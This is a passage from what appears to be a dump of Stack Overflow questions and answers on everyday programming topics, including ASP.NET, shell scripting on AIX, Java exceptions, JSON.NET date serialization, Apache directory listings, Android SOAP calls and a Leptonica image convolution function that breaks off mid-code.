works! However, it ruins rest of the things, which is very upsetting. </p> <p>Also, when the radio button text is longer and comes to the next line, it screws up stuff again, and its weird. Would it possible to keep rest of the things unchanged, while I get to resolve the radio button problem? </p> <p>Can't I make some CSS change specific to radio button which does not effect rest of the things in CSS file or here in the RadioButtonList options/properties? Here's what it looks like: </p> <pre><code>&lt;asp:RadioButtonList ID="RadioButtonListMsgs" runat="server" RepeatLayout="Table" RepeatDirection="Vertical" TextAlign="Right"&gt; &lt;asp:ListItem&gt;A &lt;/asp:ListItem&gt; &lt;asp:ListItem&gt;B&lt;/asp:ListItem&gt; &lt;/asp:RadioButtonList&gt; </code></pre> <p>Please, can someone help? Thanks a lot!</p>
40660301	0	Unexpected behavior with "set -o errexit" on AIX <p>This script shell works fine on GNU/Linux but not on AIX 5.3</p> <pre><code>#!/bin/sh echo $SHELL set -o nounset -o errexit [ 1 -eq 1 ] &amp;&amp; { echo "zzz" } &amp;&amp; echo "aaa" &amp;&amp; [ 1 -eq 0 ] &amp;&amp; echo "bbb" echo "ccc" </code></pre> <p>On GNU/Linux, I've got the expected output :</p> <pre><code>/bin/bash zzz aaa ccc </code></pre> <p>On AIX, I've got this one : </p> <pre><code>/bin/ksh zzz aaa </code></pre> <p>Without "set -o nounset -o errexit" it works fine... I don't understant why. Could you explain me what is wrong in my script shell.</p> <p>Thanks, </p> <p>Rémy</p> <hr> <p>Edit 18 nov. : Precision</p> <blockquote> <p>set -e When this option is on, if a simple command fails for any of the reasons listed in Consequences of Shell Errors or returns an exit status value >0, and is not part of the compound list following a while, until, or if keyword, and is not a part of an AND or OR list, and is not a pipeline preceded by the ! reserved word, then the shell shall immediately exit. <a href="http://explainshell.com/explain?cmd=set+-e" rel="nofollow noreferrer">http://explainshell.com/explain?cmd=set+-e</a></p> </blockquote> <p>In my example, the second test "[ 1 -eq 0 ]" is part of an AND, so I should see the output "ccc". This test returns 1, it traps the output "bbb", but should'nt exit the script.</p> <p>Rémy</p>
8617881	0	 <p>This is because <code>NullPointerException</code> is a so-called "unchecked" exception. You don't need to declare them in the <code>throws</code> clause.</p> <p>However, a casual <code>Exception</code> is <em>not</em> unchecked, and you <em>do</em> need to declare in a <code>throws</code> declaration. You need to make <code>Method()</code> throw <code>Exception</code> in your second code snippet.</p> <p>Unchecked exceptions are <code>RuntimeException</code>, <code>Error</code> and derivate classes. <code>NullPointerException</code> derivates from <code>RuntimeException</code>.</p>
23104973	0	 <p>I found this <a href="https://github.com/typesafehub/config" rel="nofollow">HOCON</a> example:</p> <pre><code>my.organization { project { name = "DeathStar" description = ${my.organization.project.name} "is a tool to take control over whole world. By world I mean couch, computer and fridge ;)" } team { members = [ "Aneta" "Kamil" "Lukasz" "Marcin" ] } } my.organization.team.avgAge = 26 </code></pre> <p>to read values:</p> <pre><code>val config = ConfigFactory.load() config.getString("my.organization.project.name") // =&gt; DeathStar config.getString("my.organization.project.description") // =&gt; DeathStar is a tool to take control over whole world. By world I mean couch, computer and fridge ;) config.getInt("my.organization.team.avgAge") // =&gt; 26 config.getStringList("my.organization.team.members") // =&gt; [Aneta, Kamil, Lukasz, Marcin] </code></pre> <p><em>Reference</em>: <a href="http://marcinkubala.wordpress.com/2013/10/09/typesace-config-hocon/" rel="nofollow">marcinkubala.wordpress.co</a>m</p>
27455169	0	 <p>You should close the while() loop before the if/else.</p> <p>It is not the prettiest of code though.</p>
1595594	0	Getting GPS coordinates from Samsung Intrepid <p>I'm looking into purchasing the new Samsung Intrepid Windows Mobile 6.5 device. Before I plunk down the cash, I'm investigating the available APIs and support resources. I have one question I want answered. It's one question but it's a big one for me. Can I access the GPS coordinates of the device? Does this phone have a location API? I've been searching for code samples (C# or VB.NET) and found nothing. Not even a mention of this capability from a technical / developer perspective. Plenty of sales stuff that mention the phone has GPS but I need more info. I find that difficult to believe to so I'm willing to accept I must be missing something.</p>
20810996	1	how to limit possible input while using raw_input? (also using split) <p>i want to limit the users input in two cases:</p> <p>1.With a string and split, when asking the user to put in two, 2 digit numbers I wrote:</p> <pre><code>x=raw_input("words").split() </code></pre> <p>I want to only enable him to write an input that is two 2 digit numbers, and if he does something else I want to pop an error, and for him to be prompted again, until done right.</p> <p>2.This time an INT when asking the user for a random 4 digit number:</p> <pre><code>y=int(raw_input("words")) </code></pre> <p>I only want to allow (for example) 4 digit numbers, and again if he inputs <code>53934</code> for example I want to be able to write an error explaining he must only enter a 4 digit number, and loop it back until he gets it right.</p> <h1>Thank you, hopefully I explained myself properly.</h1> <p>update so - trying to start simple i decided that at first ill only try to ask the user to type in 8 letters. for example an <code>qwertyui</code> input is acceptable, but <code>sadiuso</code> (7 chars) is not.</p> <p>so i tried working with the syntax you gave me and wrote:</p> <pre><code>y=raw_input("words") if not (len(y) == 8): pop an error </code></pre> <p>but im getting a syntax error on the <code>:</code></p>
1813026	0	Is it any way to implement a linked list with indexed access too? <p>I'm in the need of sort of a linked list structure, but if it had indexed access too it would be great.</p> <p>Is it any way to accomplish that?</p> <p>EDIT: I'm writing in C, but it may be for any language.</p>
21945403	0	Widgets the Symfony way <p>What is "the Symfony way" of creating reusable widgets?</p> <p>By widget I mean an object with behavior defined in PHP and associated template that can be rendered on different pages (controller actions). </p> <p>E.g. tag cloud widget:</p> <pre><code>// TagCloudWidget.php class TagCloudWidget { /** @var PDO */ private $connection; public function __construct(PDO $connection) { $this-&gt;connection = $connection; } public function render() { $tags = $this-&gt;connection-&gt;query("SELECT * FROM tags ORDER BY name"); $tags-&gt;setFetchMode(PDO::FETCH_CLASS, "Tag"); include __DIR__ . "/TagCloudWidget.html.php"; } } // TagCloudWidget.html.php &lt;div class="tag-cloud"&gt; &lt;?php foreach ($tags as $tag) { ?&gt; &lt;span class="tag" style="font-size: &lt;?php echo $tag-&gt;importance; ?&gt;px;"&gt;&lt;?php echo $tag-&gt;name; ?&gt;&lt;/span&gt; &lt;?php } ?&gt; &lt;/div&gt; </code></pre> <p>What is the best way how to do it in Symfony? How to make the widget's dependecies to be managed by DI container?</p>
30658970	0	 <p>You can add a click handler to each link in the <code>#ullist</code> element then set teh value of the text box</p> <pre><code>var text = document.getElementById('textbox'); var anchor = document.querySelector('#button'); var links = document.querySelectorAll('#ullist a'); for(var i = 0;i&lt; links.length;i++){ links[i].onclick = function(){ text.value = this.textContent || this.innerText } } </code></pre> <p>Demo: <a href="https://jsfiddle.net/arunpjohny/L2ogujk0/" rel="nofollow">Fiddle</a></p> <hr> <p>Using jQuery</p> <pre><code>jQuery(function($){ var $text = $('#textbox'); $('#ullist a').click(function () { $text.val($(this).text()); }); $('#button').click(function (e) { var textbox_text = $text.val(); var textbox_file = new Blob([textbox_text], { "type": "application/bat" }); this.href = URL.createObjectURL(textbox_file); this.download = "servicename.txt"; }); $('#list').click(function (e) { $('#ullist').toggle(); }); }) </code></pre> <p>Demo: <a href="https://jsfiddle.net/arunpjohny/L2ogujk0/2/" rel="nofollow">Fiddle</a></p>
5146684	0	ie6 and ie7 remove border around image sprites <p>Im using image sprites across my site.</p> <p>in IE6 and IE7 a gray border appears around the images.. works fine in the other browsers +IE8</p> <p>how can i remove it?<br> here it is the bottom one is a div:</p> <p><img src="https://i.stack.imgur.com/2uwyW.png" alt="enter image description here"></p>
28855168	0	 <p>Change this :</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;fragment xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/map" android:layout_width="match_parent" android:layout_height="match_parent" class="com.google.android.gms.maps.SupportMapFragment"/&gt; </code></pre> <p>to</p> <pre><code>&lt;fragment xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/map" android:layout_width="match_parent" android:layout_height="match_parent" android:name="com.google.android.gms.maps.SupportMapFragment"/&gt; </code></pre>
1460101	0	Delphi 2009 - How to fix 'undeclared identifiers' that are identified <p>I have several custom components in my uses list of a unit. For some reason, D2009 is saying that it cannot resolve the unit name. But it seems as if it can find it - the code compiles fine. </p> <p>How can I have it resolve the unit names at design time though? My Structure window is showing all kinds of 'Undeclared Identifier' errors because the references in the Uses clause are not being found. This makes it difficult to code, and to debug legitimate errors in my code.</p>
24227485	0	LIBLINEAR with Weka <p>I'm using Weka 3.6.11 and I want to use its LibLinear wrapper. </p> <p>I get the message that "Liblinear classes not in CLASSPATH"</p> <p>I am on Windows. I create the CLASSPATH to the system variables, and wrote the path to the liblinear.jar file which happens to be </p> <p>C:\Program Files (x86)\Weka-3-6\LibLINEAR.jar</p> <p>So now, I'm not sure what the problem is. Any ideas?</p>
19137499	0	 <h2>Short Answer</h2> <p>Yes, there are several ways how to do this. Which one is right for you depends on your personal needs and skill-set. Your options are to either edit the C source code and create your own Apache Module, or to add extra functionality by declaring either a Client Side or Server Side script to be used as (or included from) the header of the index file.</p> <h2>Long Answer</h2> <h3>Edit the Source Code</h3> <p>The only way to actually change the list, which is also the hardest option, would be to edit the source code and compile your own Apache Module. The HTML code for each file is put together on <a href="http://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/modules/generators/mod_autoindex.c" rel="nofollow">line 1852 in the mod_autoindex.c file</a>. If you don't know C or if the code looks too daunting for you, there is no way to change the list <em>directly</em>.</p> <p>You can, however, change the list <em>indirectly</em> by adding (either server side or client side) functionality to the index header or footer file.</p> <p>Which brings us to easier options. </p> <h3>Add Server Side Functionality</h3> <p>Although you can't alter the list, you can make additions by having a server-side script that scans the directory you are browsing and adding thumbnails/previews for certain files. You could even hide the original list entirely with CSS and have the server side script build your own custom list. </p> <p>Of course, you would have to be able to program Python/Perl/Ruby/PHP/etc. to do this.</p> <p>I took a stab at this in PHP a while ago (mostly as an exercise) in my <a href="https://github.com/potherca/ApacheDirectoryListTheming" rel="nofollow">Apache Directory List Theming project</a>. It doesn't do anything other than show a list of thumbnails for all of the images and PDF files in a given directory. (It's also not very sophisticated).</p> <p>If you would also like to add previews for audio and/or video files, and you would like these previews to be present <em>in</em> the list generated by Apache, you're probably better of with a client side solution.</p> <h3>Add Client Side Functionality</h3> <p>By adding Javascript functionality, you could parse the list and for each file that is of interest to you insert a preview into the list. The <a href="https://github.com/jul/prettyAutoIndex" rel="nofollow">prettyAutoIndex</a> project does this. I haven't personally used it but it looks, well, pretty :-) It doesn't seem to be actively developed, but if it works it doesn't really have to be. </p> <p>If its not what you want and you can code in Javascript, it shouldn't be too difficult to create something by yourself.</p> <h3>Wrapping up</h3> <p>If you decide to create a server or client side solution, it shouldn't be much more complicated than creating a file with some functionality and calling it from your Apache Config with <code>headername</code>:</p> <pre><code>&lt;IfModule mod_autoindex.c&gt; HeaderName /path/to/header.file &lt;/IfModule&gt; </code></pre> <p>Unfortunately there are some gotchas, so I would suggest taking the time to read the relevant parts of <a href="http://httpd.apache.org/docs/2.2/mod/mod_autoindex.html" rel="nofollow">the mod_autoindex manual</a>.</p>
40303113	0	 <p>You would be better using an if-elif-else structure in your code to deal with the 3 different expected conditions</p> <p>Also you need to change the <code>if item in item:</code> to <code>if item in shoppingListVar:</code></p> <pre><code>shoppingListVar = [] while True: item = input("Enter your Item to the List: ") if item in shoppingListVar: print("you already got this item in the list") elif item == "end": break else: shoppingListVar.append(item) print ("The following elements are in your shopping list:") print (shoppingListVar) </code></pre>
21590	0	 <p>If the objects aren't heavily keyed by other tables, and the lists are short, deleting everything in the domain and just re-inserting the correct list is the easiest. But that's not practical if the lists are large and you have lots of constraints to slow down the delete. I think your first method is really the cleanest. If you run it in a transaction you can be sure nothing odd happens while you're in the middle of the update to screw up the order.</p>
38199628	0	 <p>from @mplungjan comments</p> <p>The difference is,</p> <p>1.meta tags are not reads after page load</p> <p>2.event handlers</p>
26793233	0	 <p>The relevant section in the standard is 5.2.10 [expr.reinterpret.cast]. There are two relevant paragraphs:</p> <p>First, there is paragraph 1 which ends in:</p> <blockquote> <p>No other conversion can be performed explicitly using reinterpret_cast.</p> </blockquote> <p>... and paragraph 11 as none of the other apply:</p> <blockquote> <p>A glvalue expression of type <code>T1</code> can be cast to the type “reference to <code>T2</code>” if an expression of type “pointer to <code>T1</code>” can be explicitly converted to the type “pointer to <code>T2</code>” using a <code>reinterpret_cast</code>. The result refers to the same object as the source glvalue, but with the specified type. [ Note: That is, for lvalues, a reference cast <code>reinterpret_cast&lt;T&amp;&gt;(x)</code> has the same effect as the conversion <code>*reinterpret_cast&lt;T*&gt;(&amp;x)</code> with the built-in <code>&amp;</code> and <code>*</code> operators (and similarly for <code>reinterpret_cast&lt;T&amp;&amp;&gt;(x))</code>. —end note ] No temporary is created, no copy is made, and constructors (12.1) or conversion functions (12.3) are not called.</p> </blockquote> <p>All the other clauses don't apply to objects but only to pointers, pointers to functions, etc. Since an rvalue is not a glvalue, the code is illegal.</p>
33661634	0	No $DISPLAY environment variable with matplotlib on remote server (no sudo) <p>I have been through many post talking about this issue but haven't find anything working on my server. So I am working on a server, on which I don't have a sudo access. I am simply trying to produce plots with matplotlib but I get the infamous </p> <blockquote> <p>TclError: no display name and no $DISPLAY environment variable</p> </blockquote> <p>I tried this ;</p> <pre><code>import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import numpy as np # fake up some data spread = np.random.rand(50) * 100 center = np.ones(25) * 50 flier_high = np.random.rand(10) * 100 + 100 flier_low = np.random.rand(10) * -100 data = np.concatenate((spread, center, flier_high, flier_low), 0) # basic plot plt.boxplot(data) ##############Crash here plt.savefig( 'output_filename.png' ) </code></pre> <p>But I can't plot at all. Is there anyway to work around that,without involving installing system packages (I can pip install if needed). I am creating a command line tool for some other users so I need something without too much modification. I am using ipython for troubleshooting but get the same error when running with</p> <pre><code>python name_of_script.py </code></pre> <p>Thanks for looking into it.</p>
8424858	0	Can Nokogiri retain attribute quoting style? <p>Here is the contents of my file (note the nested quotes):</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;property name="eventData" value='{"key":"value"}'/&gt; </code></pre> <p>in Ruby I have:</p> <pre><code>file = File.read(settings.test_file) @xml = Nokogiri::XML( file) puts "@xml " + @xml.to_s </code></pre> <p>and here is the output:</p> <pre><code>&lt;property name="eventData" value="{&amp;quot;key&amp;quot;:&amp;quot;value&amp;quot;}"/&gt; </code></pre> <p>Is there a way to convert it so the output would preserve the quotes exactly? i.e. single on the outside, double on the inside?</p>
25416175	0	 <p>No matter where you put this code, you will need a reference to the view to get its bounds. You can either pass the view or bounds as a parameter or put it a UIView category or subclass.</p> <p>The UIColor class is just for creating colors, it has nothing to do with rendering or positioning them. That is a job for UIView. Therefore UIColor is not the place for this code imho.</p> <p>I suggest subclassing UIView and overriding drawRect to draw a gradient. Or create a UIView method like: <code>-(void)setBackgroundGradientWithStyle:(GradientStyle)gradientStyle colors:(NSArray *)colors</code> and put this code there.</p>
24665224	0	 <p>Something like that should do the trick, even though your attempt seems correct in the first place :</p> <pre><code>typedef std::chrono::high_resolution_clock Clock; typedef std::chrono::milliseconds Milliseconds; Clock::time_point t0 = Clock::now(); // DO A LOTS OF THINGS HERE..... Clock::time_point t1 = Clock::now(); auto elapsed_time = std::chrono::duration_cast&lt;Milliseconds&gt;(t1 - t0); auto duration = Milliseconds(2000); // Check if time left from initial 2 seconds wait the difference if (elapsed_time &lt; duration) { std::this_thread::sleep_for(duration - elapsed_time); } </code></pre>
28638691	0	 <p>For us, the crux of this issue is that <code>DateTimeStyles.RoundtripKind</code> only works if your <code>DateTime</code> properties set the <code>DateTime.DateTimeKind</code> (<em>other than <code>DateTimeKind.Unspecified</code> - the default</em>) or better yet - using <code>DateTimeOffset</code> which <a href="https://msdn.microsoft.com/en-us/library/bb384267%28v=vs.110%29.aspx" rel="nofollow">enforces use of the <strong>TimeZone</strong> specificity</a>. </p> <p>Since we already had <code>DateTime</code> class properties, we worked around this for now by assigning the <a href="https://github.com/JamesNK/Newtonsoft.Json/blob/master/Src/Newtonsoft.Json/JsonSerializerSettings.cs" rel="nofollow"><code>JsonSerializerSettings.DateTimeZoneHandling</code></a> from <code>DateTimeZoneHandling.RoundtripKind</code> (<em>DateTime default</em>) to <code>DateTimeZoneHandling.Utc</code> in our <code>Global.asax.cs</code>. This change essentially appends the "Z" to the end of the <code>DateTime</code> - however there is one more step to convert the Local time to UTC. </p> <p>The second step is to provide the offset by assigning <a href="https://github.com/JamesNK/Newtonsoft.Json/blob/master/Src/Newtonsoft.Json/Converters/IsoDateTimeConverter.cs" rel="nofollow"><code>IsoDateTimeConverter.DateTimeStyles</code></a> which JSON.NET <a href="https://github.com/JamesNK/Newtonsoft.Json/blob/master/Src/Newtonsoft.Json/JsonSerializer.cs" rel="nofollow"><code>JsonSerializer</code></a> will pickup from a <code>SerializerSettings.Converters</code> and automatically convert from Local time to UTC - much like the out-of-the-box ASP.NET MVC does. </p> <p>Obviously - there are other options, but this is solution worked for us.</p> <h3>Global.asax.cs</h3> <pre class="lang-cs prettyprint-override"><code>protected void Application_Start() { GlobalConfiguration.Configuration.Formatters.JsonFormatter.SerializerSettings.DateTimeZoneHandling = Newtonsoft.Json.DateTimeZoneHandling.Utc; GlobalConfiguration.Configuration.Formatters.JsonFormatter.SerializerSettings.Converters.Add(new IsoDateTimeConverter() { DateTimeStyles = DateTimeStyles.AdjustToUniversal }); } </code></pre> <p>The <a href="https://books.google.com/books?id=EvXX03I5iLYC&amp;pg=PA239&amp;lpg=PA239&amp;dq=AdjustToUniversal%20vs%20roundtripkind&amp;source=bl&amp;ots=jGdh-zuPs0&amp;sig=cfLgFIOjxlSYkFbTlQyMikhLzW4&amp;hl=en&amp;sa=X&amp;ei=13PnVMg8z5HIBJi8gcAK&amp;ved=0CEIQ6AEwBg#v=snippet&amp;q=roundtripkind&amp;f=false" rel="nofollow">reason this works is because <code>RoundtripKind</code> honors DateTime's <code>DateTimeKind</code></a> - which is <code>Unspecified</code> by default. We want to explicitly convert this to UTC - which <code>JavaScriptSerializer</code> used to do for us out of the box for ASP.NET MVC. The <a href="https://books.google.com/books?id=EvXX03I5iLYC&amp;pg=PA239&amp;lpg=PA239&amp;dq=AdjustToUniversal%20vs%20roundtripkind&amp;source=bl&amp;ots=jGdh-zuPs0&amp;sig=cfLgFIOjxlSYkFbTlQyMikhLzW4&amp;hl=en&amp;sa=X&amp;ei=13PnVMg8z5HIBJi8gcAK&amp;ved=0CEIQ6AEwBg#v=snippet&amp;q=adjusttouniversal&amp;f=false" rel="nofollow">regional offset is provided</a> by <code>DateTimeStyles.AdjustToUniversal</code> which converts your Local <code>DateTime</code> to UTC.</p>
20437777	0	cannot Imports System.Web.Script.Serializer <p>when I try to append this line to the code:</p> <pre><code>Imports System.Web.Script.Serializer </code></pre> <p>it showing me error like this:</p> <blockquote> <p>Namespace or type specified in the Imports 'System.Web.Script.Serializer' doesn't contain any public member or cannot be found. Make sure the namespace or the type is defined and contains at least one public member. Make sure the imported element name doesn't use any aliases.</p> </blockquote> <p>then I searching references in google, say that should <code>Add References</code> then choose System.Net.Extension.dll in .NET tab, but it not found in the list</p> <p><img src="https://i.stack.imgur.com/HDT4K.png" alt="enter image description here"></p> <p>I try to import the System.Net.Extension.dll with manually. I open <code>Add Reference</code> dialog, in <code>Browse</code> tab, I select <code>System.Web.Extension.dll</code> in <code>C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0</code>, then klik Ok. but it still doesn't work instead show me error message agains like this:</p> <p><img src="https://i.stack.imgur.com/D09vt.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/cRVQW.png" alt="enter image description here"></p> <p>whats wrong with my VS2010 ??</p>
23843796	0	 <pre><code>package com.example.WSTest; import org.ksoap2.SoapEnvelope; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; //import android.widget.SlidingDrawer;; public class WSTestActivity extends Activity { private static final String SOAP_ACTION = "http://MVIndia.com/AddActivity"; private static final String METHOD_NAME = "AddActivity"; private static final String NAMESPACE = "http://MVIndia.com/"; private static final String URL = "http://10.0.2.2/SAP/Service.asmx"; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); //final SlidingDrawer txt1 = (SlidingDrawer) findViewById(R.id.Spinner1); //final SlidingDrawer txt2 = (SlidingDrawer) findViewById(R.id.Spinner2); final EditText txt3 = (EditText) findViewById(R.id.editText3); final EditText txt4 = (EditText) findViewById(R.id.editText4); final EditText txt5 = (EditText) findViewById(R.id.editText5); final EditText txt6 = (EditText) findViewById(R.id.editText6); final EditText txt7 = (EditText) findViewById(R.id.editText7); final EditText txt8 = (EditText) findViewById(R.id.editText8); //final SlidingDrawer txt9 = (SlidingDrawer) findViewById(R.id.Spinner3); final EditText txt10 = (EditText) findViewById(R.id.editText10); Button button = (Button) findViewById(R.id.btnActivity); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { //SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); SoapObject req_AddActivity = new SoapObject(NAMESPACE, METHOD_NAME); req_AddActivity.addProperty("strActivity", ""); req_AddActivity.addProperty("strActivityType", ""); req_AddActivity.addProperty("strAssignedTo", txt3.getText().toString()); req_AddActivity.addProperty("strBPCode", txt4.getText().toString()); req_AddActivity.addProperty("strBPName", txt5.getText().toString()); req_AddActivity.addProperty("strActivityDate", txt6.getText().toString()); req_AddActivity.addProperty("strContactPerson", txt7.getText().toString()); req_AddActivity.addProperty("strEndDate", txt8.getText().toString()); req_AddActivity.addProperty("strProgress", ""); req_AddActivity.addProperty("strRemarks", txt10.getText().toString()); SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11); envelope.dotNet = true; envelope.setOutputSoapObject(req_AddActivity); HttpTransportSE androidHttpTransport = new HttpTransportSE (URL); try { androidHttpTransport.call(SOAP_ACTION, envelope); Object result = envelope.getResponse(); //if (result.toString()=="True") //{ //Toast.makeText(WSTestActivity.this, "Activity added Successfully.", Toast.LENGTH_SHORT).show(); //} Toast.makeText(WSTestActivity.this, result.toString(), Toast.LENGTH_SHORT).show(); //((TextView)findViewById(R.id.lblStatus)).setText(result.toString()); } catch(Exception E) { Toast.makeText(WSTestActivity.this, E.getClass().getName() + ": " + E.getMessage(), Toast.LENGTH_SHORT).show(); //((TextView)findViewById(R.id.lblStatus)).setText("ERROR:" + E.getClass().getName() + ": " + E.getMessage()); } //Toast.makeText(WSTestActivity.this, "Caught", Toast.LENGTH_SHORT).show(); } }); } } </code></pre> <p>Try this It's working on my local machine. The Webservice returns true if the activity is added successfully. I hope it will help you.</p>
10034890	0	Synchronized block and monitor objects <p>Hi can someone explain if the in the following code the synchronized code will restrict access to the threads. If yes how is it different from, if we have used "this" as a monitor object instead of "msg".</p> <pre><code>public void display(String msg) { synchronized(msg) { for(int i=1;i&lt;=20;i++) { System.out.println("Name= "+msg); } } } </code></pre>
27088076	0	 <p>Here is a <code>gnu awk</code> solution (due to multiple characters in <code>RS</code>):</p> <pre><code>awk -v RS=" |\n" '/([yeo])$/' file apple tomato empty </code></pre> <p>Here <code>RS</code> is set to space or newline, so it will run one and one word on each line.</p>
7586546	0	 <p>You have to edit your .csproj file and in the Debug PropertyGroup you'll have to add the following: </p> <pre><code>&lt;AutoParameterizationWebConfigConnectionStrings&gt;False&lt;/AutoParameterizationWebConfigConnectionStrings&gt; </code></pre> <p>I have the following on <strong>Release</strong> and <strong>ReleaseCERT</strong> Configurations in my Project.csproj (I've only added the AutoParameterizationWebConfigConnectionStrings line):</p> <pre><code>&lt;PropertyGroup Condition=" '$(Configuration)|$(Platform)' == '**Release**|AnyCPU' "&gt; &lt;DebugType&gt;pdbonly&lt;/DebugType&gt; &lt;Optimize&gt;true&lt;/Optimize&gt; &lt;OutputPath&gt;bin\&lt;/OutputPath&gt; &lt;DefineConstants&gt;TRACE&lt;/DefineConstants&gt; &lt;ErrorReport&gt;prompt&lt;/ErrorReport&gt; &lt;WarningLevel&gt;4&lt;/WarningLevel&gt; &lt;!-- add the following line to avoid ConnectionString tokenization --&gt; &lt;AutoParameterizationWebConfigConnectionStrings&gt;False&lt;/AutoParameterizationWebConfigConnectionStrings&gt; &lt;/PropertyGroup&gt; &lt;PropertyGroup Condition="'$(Configuration)|$(Platform)' == '**ReleaseCERT**|AnyCPU'"&gt; &lt;OutputPath&gt;bin\&lt;/OutputPath&gt; &lt;DefineConstants&gt;TRACE&lt;/DefineConstants&gt; &lt;Optimize&gt;true&lt;/Optimize&gt; &lt;DebugType&gt;pdbonly&lt;/DebugType&gt; &lt;PlatformTarget&gt;AnyCPU&lt;/PlatformTarget&gt; &lt;ErrorReport&gt;prompt&lt;/ErrorReport&gt; &lt;!-- add the following line to avoid ConnectionString tokenization --&gt; &lt;AutoParameterizationWebConfigConnectionStrings&gt;False&lt;/AutoParameterizationWebConfigConnectionStrings&gt; &lt;/PropertyGroup&gt; </code></pre>
30321752	0	How can I declare a global variable in ruby on rails? <p>How can I declare a global variable in "ruby on rails"?</p> <p>sample code:</p> <p>in my controller#application.rb:</p> <pre><code>def user_clicked() @current_userid = params[:user_id] end </code></pre> <p>in my layout#application.html.haml: I have sidebar with this link</p> <pre><code>= link_to "John", user_clicked_path(:user_id =&gt; 1) = link_to "Doe", user_clicked_path(:user_id =&gt; 2) = link_to "View clicked user", view_user_path </code></pre> <p>in my views#view_user.html.haml:</p> <pre><code>%h2 @current_userid </code></pre> <p>I hope you will understand the logic and what I am trying to say. I'm a noob in ruby on rails. Please help ^_^</p> <p>I want to declare a global variable that can modify my controller and use it anywhere, like controller, views, and etc.<br> The above is only a sample scenario. If I click the John or Doe link, it will send a user_id to the controller and when I click the "View clicked user" link, it will display the last clicked link. It is either John=1 or Doe=2.<br> Of course if I click the "View clicked user" link first, it will display nil.</p>
40295686	0	Nightwatch: Get text value of an element when hover over it <p>I have an element on a page that when I hover over it, a tooltip is displayed with text. How do I get the text value? I need to verify that correct text is displayed.</p> <p>We are using Nightwatch.js</p> <p>Many thanks!</p> <p><a href="https://i.stack.imgur.com/VaOBu.png" rel="nofollow">element with tooltip</a></p> <p><a href="https://i.stack.imgur.com/6dKek.png" rel="nofollow">element id</a></p>
30715405	0	 <p>Simplest possible solution is to put user entered key in some global variable(or somewhere where you can access it later) and just call a method to instantiate your DbContext with correct connection string. Something like this:</p> <pre><code>public MyDbContext CreateContext() { if (user_entered_key == "one") { return new MyDbContext("Db1DbContext"); } else if (user_entered_key == "two") { return new MyDbContext("Db2DbContext"); } else { return new MyDbContext("Db3DbContext"); } } </code></pre>
7164217	0	 <p>Try this instead (no loops):</p> <pre><code>A = (FA*KS2).'; %'# A is now 25-by-1 S2 = SS2(1,:)*sin(A) + SS2(2,:)*cos(A); </code></pre>
2715392	0	 <pre><code>var addedStateEntries = Context .ObjectStateManager .GetObjectStateEntries(EntityState.Added); </code></pre>
11402420	0	 <p>By "bias", I am assuming that you want to shift the result so that all pixel values are non-negative.</p> <p>In the notes for pixConvolve(), it says that the absolute value is taken to avoid negative output. It also says that if you wish to keep the negative values, use fpixConvolve() instead, which operates on an FPix and generates an FPix.</p> <p>If you want a biased result without clipping, it is in general necessary to do the following:</p> <ul> <li>(1) pixConvertToFpix() -- convert to an FPix</li> <li>(2) fpixConvolve() -- do the convolution on the FPix, producing an FPix</li> <li>(3) fpixGetMin() -- determine the bias required to make all values nonzero</li> <li>(4) fpixAddMultConstant() -- add the bias to the FPix</li> <li>(5) fpixGetMax() -- find the max value; if > 255, you need a 16 bpp Pix to represent it</li> <li>(6) fpixConvertToPix -- convert back to a pix</li> </ul> <p>Perhaps the leptonica maintainer (me) should bundle this up into a simple interface ;-)</p> <p>OK, here's a function, following the outline that I wrote above, that should give enough flexibility to do these convolutions.</p> <pre><code> /*! * pixConvolveWithBias() * Input: pixs (8 bpp; no colormap) * kel1 * kel2 (can be null; use if separable) * force8 (if 1, force output to 8 bpp; otherwise, determine * output depth by the dynamic range of pixel values) * &amp;bias (&lt;return&gt; applied bias) * Return: pixd (8 or 16 bpp) * * Notes: * (1) This does a convolution with either a single kernel or * a pair of separable kernels, and automatically applies whatever * bias (shift) is required so that the resulting pixel values * are non-negative. * (2) If there are no negative values in the kernel, a normalized * convolution is performed, with 8 bpp output. * (3) If there are negative values in the kernel, the pix is * converted to an fpix, the convolution is done on the fpix, and * a bias (shift) may need to be applied. * (4) If force8 == TRUE and the range of values after the convolution * is &gt; 255, the output values will be scaled to fit in * [0 ... 255]. * If force8 == FALSE, the output will be either 8 or 16 bpp, * to accommodate the dynamic range of output values without * scaling. */ PIX * pixConvolveWithBias(PIX *pixs, L_KERNEL *kel1, L_KERNEL *kel2, l_int32 force8, l_int32 *pbias) { l_int32 outdepth; l_float32 min1, min2, min, minval, maxval, range; FPIX *fpix1, *fpix2; PIX *pixd; PROCNAME("pixConvolveWithBias"); if (!pixs || pixGetDepth(pixs) != 8) return (PIX *)ERROR_PTR("pixs undefined or not 8 bpp", procName, NULL); if (pixGetColormap(pixs)) return (PIX *)ERROR_PTR("pixs has colormap", procName, NULL); if (!kel1) return (PIX *)ERROR_PTR("kel1 not defined", procName, NULL); /* Determine if negative values can be produced in convolution */ kernelGetMinMax(kel1, &amp;min1, NULL); min2 = 0.0; if (kel2) kernelGetMinMax(kel2, &amp;min2, NULL); min = L_MIN(min1, min2); if (min &gt;= 0.0) { if (!kel2) return pixConvolve(pixs, kel1, 8, 1); else return pixConvolveSep(pixs, kel1, kel2, 8, 1); } /* Bias may need to be applied; convert to fpix and convolve */ fpix1 = pixConvertToFPix(pixs, 1); if (!kel2) fpix2 = fpixConvolve(fpix1, kel1, 1); else fpix2 = fpixConvolveSep(fpix1, kel1, kel2, 1); fpixDestroy(&amp;fpix1); /* Determine the 